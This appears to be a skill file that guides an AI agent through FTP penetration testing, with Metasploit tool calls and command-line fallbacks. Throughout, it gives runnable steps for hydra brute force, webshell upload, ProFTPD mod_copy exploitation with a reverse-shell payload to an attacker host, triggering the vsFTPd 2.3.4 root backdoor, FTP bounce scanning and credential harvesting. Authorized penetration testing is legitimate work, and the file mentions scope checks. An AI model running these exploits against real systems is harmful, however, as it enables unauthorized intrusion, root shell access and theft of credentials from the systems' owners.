ftp-pentest

name	ftp-pentest
description	Guides FTP file transfer service penetration testing. Use when port 21 is discovered during scanning or when FTP is identified on a target.

FTP Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• FTP bounce may scan out-of-scope hosts. Verify ROE before bounce attacks.

Ports and detection

Port	Service
21/tcp	FTP control channel
6200/tcp	vsFTPd 2.3.4 backdoor (when triggered)

Service fingerprint

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ftp/ftp_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 21, "THREADS": 5}
)

CLI fallback:

nc -vn <target> 21
nmap -sV -p21 -sC <target>
openssl s_client -connect <target>:21 -starttls ftp

Workflow

Task Progress:
- [ ] Banner and FEAT enumeration
- [ ] Anonymous and default credential testing
- [ ] Writable directory discovery
- [ ] ProFTPD mod_copy / vsFTPd backdoor checks
- [ ] Document findings

Anonymous login test

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ftp/anonymous",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 21, "FTPUSER": "anonymous", "FTPPASS": "anonymous@"}
)

CLI fallback:

ftp <target>
# USER anonymous / PASS anonymous@
wget -m ftp://anonymous:anonymous@<target>
nmap --script ftp-anon,ftp-syst -p 21 <target>
lftp -e "open <target>; ls" -u anonymous,anonymous

Authentication brute force

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ftp/ftp_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 21,
    "USERNAME": "admin",
    "PASSWORD": "password",
    "STOP_ON_SUCCESS": true,
    "THREADS": 5
  }
)

CLI fallback:

hydra -L users.txt -P passwords.txt <target> ftp -t 4
nmap --script ftp-brute -p 21 --script-args userdb=users.txt,passdb=pass.txt <target>

Manual FEAT enumeration

MSF: No direct module; use CLI.

CLI fallback:

ftp <target>
# HELP, FEAT, STAT, SYST
echo -e "FEAT\r\nQUIT\r\n" | nc -vn <target> 21

Writable upload (webshell)

MSF: No direct module; use CLI.

CLI fallback:

ftp <target>
# put test.txt
# put shell.php to web docroot path
echo "test" | ftp -n <target> <<EOF
user anonymous anonymous@
put /tmp/test.txt
bye
EOF

Test write with small file before uploading shells.

ProFTPD mod_copy (CVE-2015-3306)

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/unix/ftp/proftpd_modcopy_exec",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "SITEPATH": "/var/www/html"}
)
msf_run_exploit(
  module_name="exploit/unix/ftp/proftpd_modcopy_exec",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 21,
    "SITEPATH": "/var/www/html",
    "TMPPATH": "/tmp",
    "TARGETURI": "/shell.php"
  },
  payload="cmd/unix/reverse",
  payload_options={"LHOST": "<attacker>", "LPORT": 4444}
)

CLI fallback (SITE CPFR/CPTO):

# Copy remote file without auth (mod_copy enabled)
ftp <target>
# SITE CPFR /etc/passwd
# SITE CPTO /var/www/html/passwd.txt
# Copy webshell into place
SITE CPFR /proc/self/cmdline
SITE CPTO /var/www/html/shell.php
telnet <target> 21
# Manual: quote SITE CPFR /path/source; quote SITE CPTO /path/dest
nmap --script ftp-proftpd-backdoor -p 21 <target>

vsFTPd 2.3.4 backdoor

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/unix/ftp/vsftpd_234_backdoor",
  engagement_id="<id>",
  module_type="exploit",
  options={"RHOSTS": "<target>", "RPORT": 21}
)
msf_run_exploit(
  module_name="exploit/unix/ftp/vsftpd_234_backdoor",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 21},
  payload="cmd/unix/interact"
)

CLI fallback:

# Trigger backdoor with smiley in username
ftp -n <target> <<EOF
user anonymous:)
pass test
bye
EOF
nc -vn <target> 6200
# Backdoor opens root shell on port 6200
nmap -p 6200 -sV <target>

FTP bounce attack

MSF: No direct module; use CLI.

CLI fallback:

nmap -b anonymous:anonymous@<target>:21 <out-of-scope-host>
# Manual PORT command: PORT 127,0,0,1,0,80 then LIST

Verify ROE before bounce scanning.

Traversal modules

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/ftp/titanftp_xcrc_traversal",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 21}
)

CLI fallback:

searchsploit proftpd vsftpd filezilla
nmap --script ftp-vuln* -p 21 <target>

Post-access

• Check config: /etc/vsftpd.conf, /etc/proftpd.conf
• Dangerous settings: anonymous_enable=YES, anon_upload_enable=YES, write_enable=YES
• Harvest credentials from backup configs (rclone.conf, etc.)
• Pivot if FTP root maps to web root or shares overlap with SMB

Related skills

• web-app-pentest - when writable FTP maps to web root
• initial-access-pentest - external file upload entry vectors